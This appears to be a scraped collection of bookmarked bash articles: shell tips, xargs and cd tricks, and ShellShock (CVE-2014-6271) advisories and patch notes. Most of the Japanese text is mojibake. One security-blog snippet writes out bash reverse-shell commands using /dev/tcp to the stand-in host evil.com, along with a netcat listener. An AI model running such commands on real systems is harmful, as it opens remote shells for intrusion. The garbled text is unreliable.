Write your scripts in a modern type-safe and runtime-safe programming language that handles many bugs and mistakes during the compilation process.
Amber The Programming Language
Write your scripts in a modern type-safe and runtime-safe programming language that handles many bugs and mistakes during the compilation process.
ターミナルã®ãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªç§»å‹•ã‚’高速化ã™ã‚‹ - Qiita
tl;dr よã使ã‚れるコマンドã®ä¸€ã¤ã« cd コマンドãŒã‚ã‚Šã¾ã™ã€‚ターミナル生活㮠80% è¿‘ã㯠cd 㨠ls ã§ã‚ã‚‹ã€ã¨ã„ã†è‹±æ–‡è¨˜äº‹ã‚’何処ã‹ã§è¦‹ã‹ã‘ã¾ã—ãŸã€‚ãれを効率化ã—よã†ã¨ã„ㆠTips ã§ã™ã€‚ 目的 cd ã¯ã‚ˆã使ã‚れるã®ã«ä½¿ã„å‹æ‰‹ãŒæ‚ªã„コマンドã§ã‚ã‚‹æ°—ãŒã—ã¦ãªã‚Šã¾ã›ã‚“。cd コマンドã¯æœ‰åŠ¹ãªãƒ‘ス（相対パスã€çµ¶å¯¾ãƒ‘スã¯å•ã‚ãšï¼‰ã—ã‹è§£é‡ˆã—ã¦ãã‚Œãªã„ã‹ã‚‰ã§ã™ã€‚ã¤ã¾ã‚Šã€å˜åœ¨ã—ã¦ã„ã¦å°šä¸”ã¤ãƒ‘スãŒè§£æ±ºã§ãã‚‹ã‚‚ã®ã«é™ã‚‹ã®ã§ã™ã€‚例ãˆã°ã€ãƒ›ãƒ¼ãƒ ディレクトリã«ã„ã‚‹ã¨ãã«ã€/home/lisa/work/dir ã«è¡Œã“ã†ã¨ã—㦠cd dir ã¨ã ã‘タイプã—ã¦ã‚‚ no such file or directory （ãã‚“ãªãƒ‡ã‚£ãƒ¬ã‚¯ãƒˆãƒªã¯è¦‹å½“ãŸã‚‰ãªã„よï¼ï¼‰ã¨è¨€ã‚ã‚Œã¦ã—ã¾ã„ã¾ã™ã€‚ãã¡ã‚“ã¨ã—ãŸçµŒè·¯ã§ãªã‘ã‚Œã°ãªã‚‰ãªã„ã®ã§ã™ã€‚ã„ã¡ã„ã¡ãƒ‘スを覚ãˆã¦ã„ãªã„å ´åˆã‚„ã€éƒ¨åˆ†çš„ã«ã—ã‹æ€ã„出ã›ãªã„å ´åˆã«ã¯çµæ§‹é¢å€’ã§ã™ã‚ˆã
Bashã®Tips
ãƒã‚°ã‚¤ãƒ³ã‚·ã‚§ãƒ«ã®å ´åˆï¼ˆe.g. 直接ãƒã‚°ã‚¤ãƒ³ã€sshãƒã‚°ã‚¤ãƒ³æ™‚ã€bash --loginã€su -） $HOME/.bash_profile ãŒèªã¿è¾¼ã¾ã‚Œã‚‹ã€‚ 上記ãŒãªã„å ´åˆã€$HOME/.bash_login ãŒèªã¿è¾¼ã¾ã‚Œã‚‹ã€‚ 上記ãŒãªã„å ´åˆã€$HOME/.profile ãŒèªã¿è¾¼ã¾ã‚Œã‚‹ã€‚ 上記ã‹ã‚‰ $HOME/.bashrc ãŒèªã¿è¾¼ã¾ã‚Œã‚‹ã“ã¨ãŒå¤šã„。 éžãƒã‚°ã‚¤ãƒ³ã‚·ã‚§ãƒ«ã‹ã¤å¯¾è©±ãƒ¢ãƒ¼ãƒ‰ï¼ˆe.g. 入出力ãŒç«¯æœ«ï¼‰ã®å ´åˆ $HOME/.bashrc ãŒèªã¿è¾¼ã¾ã‚Œã‚‹ã€‚
xargsã«bashã®functionを渡ã™æ–¹æ³• - (wrist blog)
ã‚ã£ã•ã‚Šã§ãã‚‹ã‹ã¨æ€ã£ãŸã‚‰æ„外ã«æ™‚é–“ãŒæŽ›ã‹ã£ã¦ã—ã¾ã£ãŸã®ã§çºã‚ã¦ãŠã。 ãƒã‚¤ãƒ³ãƒˆã¯2点ã§ã€ export -f 関数å ã—ã¦ãŠã xargsã§ã¯bash -c "コマンド" を実行ã™ã‚‹ ã§è¡Œã‘ãŸã€‚ 例 パスã«ãã®basenameã—ãŸçµæžœã‚’TAB区切りã§é€£çµã—ãŸã ã‘ã®æ–‡å—列をechoã™ã‚‹é–¢æ•°ã‚’定義ã™ã‚‹ã€‚ $ function echo_with_basename(){ > echo -e "$1\t`basename $1`" # -eオプションãŒç„¡ã„ã¨\tãŒTABã«å¤‰æ›ã•ã‚Œãªã„ > }ã“ã®é–¢æ•°ã‚’次ã®ã‚ˆã†ã«ãƒ•ã‚¡ã‚¤ãƒ«ãƒªã‚¹ãƒˆã‚’出力ã—ãŸçµæžœã‚’パイプã§ç¹‹ãŽxargsã«æ¸¡ã™ã€‚ $ cat filelist.txt /home/wrist/data/A00000.txt /home/wrist/data/A00001.txt /home/wrist/data/A00002.txt /home/wrist
Windows 10ã§Ubuntuã®ã‚·ã‚§ãƒ«ã€ŒBashã€ãŒå‹•ã始ã‚ã‚‹ï¼ ã ãŒæ—¥æœ¬èªžã¯ã©ã†ãªã‚‹ï¼Ÿ
Windows 10ã§Ubuntuã®ã‚·ã‚§ãƒ«ã€ŒBashã€ãŒå‹•ã始ã‚ã‚‹ï¼ ã ãŒæ—¥æœ¬èªžã¯ã©ã†ãªã‚‹ï¼Ÿï¼šWindows 10 The Latest（1/2 ページ） Windows 10ã«LinuxサブシステムãŒå®Ÿè£…ã•ã‚Œã€Ubuntuã®BashãŒåˆ©ç”¨ã§ãるよã†ã«ãªã‚‹ã¨ã„ã†ã€‚ãã®ç”¨é€”や仕組ã¿ã¯ï¼Ÿ 日本語ã«é–¢ã™ã‚‹Windowsãªã‚‰ã§ã¯ã®å®¿å‘½çš„課題ã«ã‚‚触れる。
何もã—ãªã„組ã¿è¾¼ã¿ã‚³ãƒžãƒ³ãƒ‰ ":" （コãƒãƒ³ï¼‰ã®ä½¿ã„é“
Bash ã§ã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トを勉強ã—ã¦ã„ãã¨å‡ºä¼šã†ã®ãŒ : （コãƒãƒ³ï¼‰ã¨ã„ã†åå‰ã®çµ„ã¿è¾¼ã¿ã‚³ãƒžãƒ³ãƒ‰ã€‚ã“ã®ã‚³ãƒžãƒ³ãƒ‰ã¯ä½•ã‚‚ã—ãªã„コマンドã§ã™ã€‚ ã“ã‚“ãªã‚³ãƒžãƒ³ãƒ‰ã®å˜åœ¨ã¯ä¸æ€è°ã ãªã¨æ€ã†åé¢ã€C言語ã«ã‚‚ void ã¨ã„ã†åž‹ãŒã‚ã£ãŸã‚Šï¼ˆé–¢æ•°ã®ã‚ˆã†ãªå½¢ã§å˜åœ¨ã™ã‚‹ã®ã¯ JavaScript ã¨ã‹ã§ã™ã）ã€LaTeX ã«ã‚‚ \relax ãŒã‚ã£ãŸã‚Šã€ä½•ã‚‚ã—ãªã„命令ã¨ã„ã†ã‚‚ã®ã¯æ©Ÿæ¢°èªžã® NOP ã‹ã‚‰ã‚る普通ã®ã‚‚ã®ã§ã™ã€‚ ã“ã® Bash ã® : ã®ä½¿ã„é“ã«ã¤ã„ã¦ã¾ã¨ã‚ã¦ã¿ã¾ã—ãŸã€‚ 何ã‹æ›¸ã‹ãªã‘ã‚Œã°ãªã‚‰ãªã„ã¨ã“ã‚ã«ä»®ç½®ãã™ã‚‹ 例ãˆã°ã€Œã“ã“ã«åˆ¶å¾¡æ§‹é€ ã‚’ç½®ãã‚“ã ã‘ã©ã€ã“ã®ç¯€ã«å…¥ã‚‹ã‚‚ã®ã¯å¾Œã§æ›¸ãã‚“ã ã‘ã©ãªã€œã€ã¨ã„ã£ãŸå ´åˆã€åˆ¶å¾¡æ§‹é€ ã®ç¯€ã®ä¸ã«ä½•ã‚‚書ã‹ãªã„㨠Bash ã¯æ§‹æ–‡ã‚¨ãƒ©ãƒ¼ã¨ãªã‚Šã¾ã™ã€‚
シェルスクリプトã§å¤–部コマンドを利用ã™ã‚‹å ´åˆã®æ³¨æ„点 · ã•ã‚ˆãªã‚‰ã‚¤ãƒ³ã‚¿ãƒ¼ãƒãƒƒãƒˆ
November 10, 2014 TL;DR シェルスクリプトã§backquoteを見ã¤ã‘ãŸã‚‰ オールドスタイルãŠã˜ã•ã‚“を探ã—ã€çŸ¯æ£ã•ã›ã‚ˆã† GNU Bash-2.05 manual When the old-style backquote form of substitution is used, backslash retains its lit- eral meaning except when followed by $, `, or \. The first backquote not preceded by a backslash terminates the command substitution. When using the $(command) form, all characters between the parentheses make up the comm
ã€å–り急ãŽã€‘Ubuntuã«ShellShock(bash脆弱性4種盛) 対ç–ã®ãƒ‘ッãƒã‚’é©ç”¨ - Qiita
#10月15日以å‰ã«ãŠèªã¿ã„ãŸã ã„ãŸæ–¹ã¸ æ›´ã«æ›´ã«ãƒ‘ッãƒãŒå…¬é–‹ã•ã‚Œã¦ãŠã‚Šã¾ã™ã€‚アップグレードを強ã推奨ã—ã¾ã™ã€‚ ã“ã‚Œã§å ±å‘Šã•ã‚Œã¦ã„ãŸå…¨ã¦ã®è„†å¼±æ€§ã«ãƒ‘ッãƒãŒå½“ãŸã£ãŸâ€¦â€¦ã®ã§ã¯ãªã„ã‹ãªã€‚ #極ã‚ã¦é‡å¤§ãªè„†å¼±æ€§ã¨ã¯ OpenSSL脆弱性HeartBleed以上ã®å½±éŸ¿ã¨ã®å™‚も。 ã¨ã‚Šã¾ã€Œshellshockã€ã§æ¤œç´¢ã—ã¦ãã ã•ã„。 piyolog bashã®è„†å¼±æ€§(CVE-2014-6271) #ShellShock ã®é–¢é€£ãƒªãƒ³ã‚¯ã‚’ã¾ã¨ã‚ã¦ã¿ãŸ Ubuntuã«ã‚‚パッãƒãŒæ¥ã¦ã¾ã™ã€‚ LTSãªã‚‰10.04ã‹ã‚‰ãƒ‘ッãƒãŒé…ä¿¡ã•ã‚Œã¦ã„ã¾ã™ã€‚ USN-2362-1: Bash vulnerability USN-2363-2: Bash vulnerability USN-2364-1: Bash vulnerabilities USN-2380-1: Bash vulnerabilities ##2014-1
OS X bash Update 1.0 – OS X Mavericks - Apple Support
System Requirements: OS X Mavericks v10.9.5 or later File Size: 3.4 MB Download This update fixes a security flaw in the bash UNIX shell. See this article for details on how to verify the authenticity of this download. For more information on the security content of this update, see http://support.apple.com/kb/HT1222. Supported Languages: Bahasa Indonesia, British English, Crna Gora, Dansk, Deutsc
ウェブアプリã«ãŠã‘ã‚‹Bash脆弱性ã®å³æ»æ¡ä»¶ #ShellShock - ã‚ã‚‚ãŠãã°
æ¡ä»¶1. /bin/shã®å®Ÿä½“ãŒbashã®ãƒ‡ã‚£ã‚¹ãƒˆãƒªãƒ“ューション RHEL CentOS Scientific Linux Fedora Amazon Linux openSUSE Arch Linux (自らè¨å®šã—ãŸå ´åˆ: Debian, Ubuntu) æ¡ä»¶2. 動作環境 CGI (レンタルサーãƒã§ã‚ã‚ŠãŒã¡ãªCGIモードã®PHPç‰ã‚‚å«ã‚€) Passenger(Ruby) æ¡ä»¶3. プãƒã‚°ãƒ©ãƒ 内容 Passengerã¯å…¨æ»äº¡ *1 systemã‚„ `command`〠'| /usr/lib/sendmail' ãªã©ã§å¤–部コマンド実行 *2 PHPã®mailã‚„mb_send_mailã€ãã®ä»–フレームワークç‰ã‚’介ã—ãŸãƒ¡ãƒ¼ãƒ«é€ä¿¡ *3 以下ã¯æ¡ä»¶1ãŒä¸è¦ 明示的ã«bashを呼㶠先é 㧠#!/bin/bash ã‚„ #!/usr/bin/env bash ã—ã¦ã„るプãƒã‚°ãƒ©ãƒ を実行 (rbenv
bashã®è„†å¼±æ€§(CVE-2014-6271) #ShellShock ã®é–¢é€£ãƒªãƒ³ã‚¯ã‚’ã¾ã¨ã‚ã¦ã¿ãŸ - piyolog
bashã«è„†å¼±æ€§ãŒç¢ºèªã•ã‚ŒãŸã¨ã—ã¦é¨’ãŽã«ãªã£ã¦ã„ã¾ã™ã€‚ã“ã“ã§ã¯CVE-2014-6271ã«é–¢ã™ã‚‹æƒ…å ±ã‚’ã¾ã¨ã‚ã¾ã™ã€‚ #記載内容ã«ã¤ã„ã¦ã€èª¤ã£ã¦ã„ã‚‹ã€è¿½è¨˜ã—ãŸæ–¹ãŒã„ã„ç‰æƒ…å ±ãŒã”ã–ã„ã¾ã—ãŸã‚‰@piyokangoã¾ã§ã”連絡ãŠé¡˜ã„ã—ã¾ã™ã€‚ è„†å¼±æ€§æƒ…å ± 脆弱性ã®æ„›ç§° ShellShock Bashbug CVEç•ªå· Bash周りã§ç™ºè¡Œã•ã‚Œã¦ã„ã‚‹CVEã¯6ã¤ã€‚ãã®å†…詳細ãŒä¸æ˜Žãªã®ãŒ2ã¤ã€‚(CVE-2014-6277,CVE-2014-6278) CVE 発見者 æƒ³å®šè„…å¨ ç‰¹è¨˜ CVE-2014-6271 Stephane Chazelasæ° ä»»æ„ã®ã‚³ãƒ¼ãƒ‰å®Ÿè¡Œ ShellShockã®ç™ºç«¯ã¨ãªã£ãŸãƒã‚°ã€‚ CVE-2014-7169 Tavis Ormandyæ° ä»»æ„ã®ã‚³ãƒ¼ãƒ‰å®Ÿè¡Œ CVE-2014-6271ä¿®æ£æ¼ã‚Œã«ã‚ˆã‚‹è„†å¼±æ€§ CVE-2014-7186 Redhat DoS ãƒ¡ãƒ¢ãƒªç ´å£Š(Out-of-Bo
bashã®æ©Ÿèƒ½ã‚’利用ã—㟠Reverse Shell - ã‚»ã‚ュリティã¯æ¥½ã—ã„ã‹ã？ Part 1
Reverse Shell with Bash ãã†ã‹ã€bashã«ã¯ã“ã‚“ãªæ©Ÿèƒ½ã‚‚ã‚ã£ãŸã®ã。使ã£ãŸã“ã¨ãªã„ã—。 ãƒãƒ¼ã‚«ãƒ«(自分)å´ã§ netcatリスナーを起動。 $ nc -l -p 8080 -vvvリモート(相手)å´ã§ net redirectionを利用ã™ã‚‹ã€‚ $ exec 5<>/dev/tcp/evil.com/8080 $ cat <&5 | while read line; do $line 2>&5 >&5; doneã‚‚ã£ã¨ç°¡å˜ã«ã“ã‚Œã§ã‚‚å¯ã€‚ $ exec 5<>/dev/tcp/evil.com/8080; sh <&5 >&5 ã¡ã‚‡ã£ã¨èª¿ã¹ã¦ã¿ãŸã‚‰ã€Metasploitã§ã‚‚使ã£ã¦ãŸã€‚orz reverse_bash.rbã®è©²å½“部分。 return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datas
Blog: bashã®è„†å¼±æ€§ãŒãƒ¤ãƒã™ãŽã‚‹ä»¶ – x86-64.jp - ãã‚Šã™ç ”
Browse by time: December 2018 (1) December 2016 (1) December 2015 (1) January 2015 (1) September 2014 (2) July 2014 (2) April 2014 (1) February 2014 (1) January 2014 (3) December 2013 (2) September 2013 (3) June 2013 (1) May 2013 (1) April 2013 (1) March 2013 (2) February 2013 (5) ã‚„ã£ã¨æ›´æ–°ã™ã‚‹æ°—ã«ãªã£ãŸã€‚ ã‚‚ã㘠0. 産æ¥ã§èª¬æ˜Ž 1. ç†è«–ç·¨ 2. 攻撃編 3. パッム4. çµè«– 0. 産æ¥ã§èª¬æ˜Ž bash㌠アホ㧠地çƒãŒãƒ¤ãƒã‚¤ 1. ç†è«–ç·¨ bashã®é–¢æ•°æ©Ÿèƒ½ã¯ã€ç’°å¢ƒå¤‰æ•°ã®ä¸ã§ã‚‚使ãˆã‚‹ä»•æ§˜ã«ãªã£ã¦ã„ã¾ã™
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無効ãªURLã§ã™ã€‚ プãƒã‚°ãƒ©ãƒ è¨å®šã®åæ˜ å¾…ã¡ã§ã‚ã‚‹å¯èƒ½æ€§ãŒã‚ã‚Šã¾ã™ã€‚ ã—ã°ã‚‰ã時間をãŠã„ã¦å†åº¦ã‚¢ã‚¯ã‚»ã‚¹ã‚’ãŠè©¦ã—ãã ã•ã„。
BASHã®è„†å¼±æ€§ã§CGIスクリプトã«ã‚¢ãƒ¬ã•ã›ã¦ã¿ã¾ã—ãŸ
環境変数ã«ä»•è¾¼ã¾ã‚ŒãŸã‚³ãƒ¼ãƒ‰ã‚’実行ã—ã¦ã—ã¾ã†BASHã®è„†å¼±æ€§ãŒ CGIスクリプトã«å½±éŸ¿ã‚’与ãˆã‚‹ã‹è©¦ã—ã¦ã¿ãŸã‚‰çµæžœã¯æ‚²æƒ¨ãªæ„Ÿã˜ã« Tweet 2014å¹´9月25æ—¥ 嶋田大貴 ã“ã®è¨˜äº‹ã¯2014å¹´ã®ã‚‚ã®ã§ã™ æœã‹ã‚‰ Bash specially-crafted environment variables code injection attack ãªã‚‹ã‚‚ã®ã§é¨’ãŽã«ãªã£ã¦ã„ãŸã®ã§ã€ã•ã£ãã手元㮠Apacheã§è©¦ã—ã¦ã¿ã¾ã—ãŸã€‚ /hoge.cgiã¨ã„ã†URIã§å®Ÿè¡Œã•ã‚Œã‚‹ã‚ˆã†ã«ã€ä¸€è¡Œã®ãƒ¡ãƒƒã‚»ãƒ¼ã‚¸ã‚’出力ã™ã‚‹ã ã‘ã® CGIスクリプトをè¨ç½®ã—ã¾ã™ã€‚ã„ã£ã‘ã‚“ã€ãªã‚“ã®å…¥åŠ›ã‚‚クライアントå´ã‹ã‚‰å—ã‘付ã‘ã¦ã„ãªã„ãŸã‚å±é™ºã®ã‚りよã†ã‚‚ãªã見ãˆã¾ã™ã€‚ #!/bin/sh echo "Content-type: text/plain" echo echo "Hi! I'm an ordinary CGI script w
Bash specially-crafted environment variables code injection attack
This article was originally published on the Red Hat Customer Portal. The information may no longer be current. Update 2014-09-30 19:30 UTC Questions have arisen around whether Red Hat products are vulnerable to CVE-2014-6277 and CVE-2014-6278. We have determined that RHSA-2014:1306, RHSA-2014:1311, and RHSA-2014:1312 successfully mitigate the vulnerability and no additional actions need to be ta
Emacs 上ã§å¿«é©ã« Bash ã‚„ Zsh を利用ã™ã‚‹è¨å®š : 紹介マニア
æ¦‚è¦ Emacs を利用ã—ã¦ã„ã‚‹ã¨å…¨éƒ¨ Emacs ã§ã‚„ã‚ŠãŸããªã‚‹ã®ã¯ Emacs 使ã„ã¨ã—ã¦å½“然ã ã¨æ€ã„ã¾ã™ã€‚ Shell ã ã£ã¦ Terminal ãªã©åˆ©ç”¨ã›ãš Emacs 上ã§å‹•ä½œã•ã›ãŸããªã‚‹ã“ã¨ã§ã—ょã†ã€‚ ã“ã®æ–‡æ›¸ã§ã¯ Emacs 上㧠Shell ã‚’å¿«é©ã«åˆ©ç”¨ã™ã‚‹ãŸã‚ã®è¨å®šã‚’記述ã—ã¦ã„ãã¾ã™ã€‚ 目次 æ¦‚è¦ æ¤œè¨¼ç’°å¢ƒ Emacs ã§ã® Shell Mode ã«é–¢ã™ã‚‹åŸºç¤ŽçŸ¥è˜ shell term (ansi-term) eshell ã©ã®ãƒ¢ãƒ¼ãƒ‰ã‚’利用ã™ã‚‹ã‹ 利用ã™ã‚‹ Shell ã«ã¤ã„㦠Windows ã§ã® Shell ã®æº–å‚™ Mac OS X ã§ã® Shell ã®æº–å‚™ Emacs å´ã®è¨å®š PATH ã®è¨å®š 利用ã™ã‚‹ Shell ã®è¨å®š æ–‡å—コードã®è¨å®š システム㮠terminfo を利用ã—ãªã„è¨å®š エスケープを綺麗ã«è¡¨ç¤ºã™ã‚‹ term 呼ã³å‡ºã—ã‚ーã®å‰²ã‚Šå½“㦠Shell å´
複数ホスト㫠ssh ã—ãªãŒã‚‰ tail -F ã™ã‚‹ã¨ãã«ã¯ã“ã†ã—ãŸã‚‰ã©ã†? - tokuhirom's blog
ã„ã‚ã„ã‚方法ãŒã‚ã‚‹ã¨ãŠã‚‚ã†ã®ã§ã™ãŒã€ä»¥ä¸‹ã®ã‚ˆã†ãªã‚·ã‚§ãƒ«ã‚¹ã‚¯ãƒªãƒ—トã§ã™ã¾ã›ã‚‹ã®ã¯ã©ã†ã§ã—ょã†ã‹? #!/bin/bash function kill_children { # jobs -l | perl -ne 'print "kill $1\n" if /^\S+?\s+(\d+)/' | sh; pkill -P $$; wait; } trap "kill_children" EXIT HOSTS="192.168.1.1 192.168.1.2" for host in $HOSTS do ssh $host tail -F /service/foo/log/main/current & done wait ã¡ã‚‡ã£ã¨ç®‡æ¡æ›¸ãã§è§£èª¬ã™ã‚‹ã¨ä»¥ä¸‹ã®ã‚ˆã†ãªã“ã¨ã‚’ãŠã“ãªã£ã¦ã„ã¾ã™ã€‚ & ã§ãƒãƒƒã‚¯ã‚°ãƒ©ã‚¦ãƒ³ãƒ‰ã‚¸ãƒ§ãƒ–ã‚’ã¯ã—らã›ã‚‹wait ã§ãれらã®çµ‚了を待ã¤trap 〜 EXIT 㯠atexit
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コマンドラインツールを書ããªã‚‰çŸ¥ã£ã¦ãŠããŸã„ Bash 㮠予約済㿠Exit Code - Qiita
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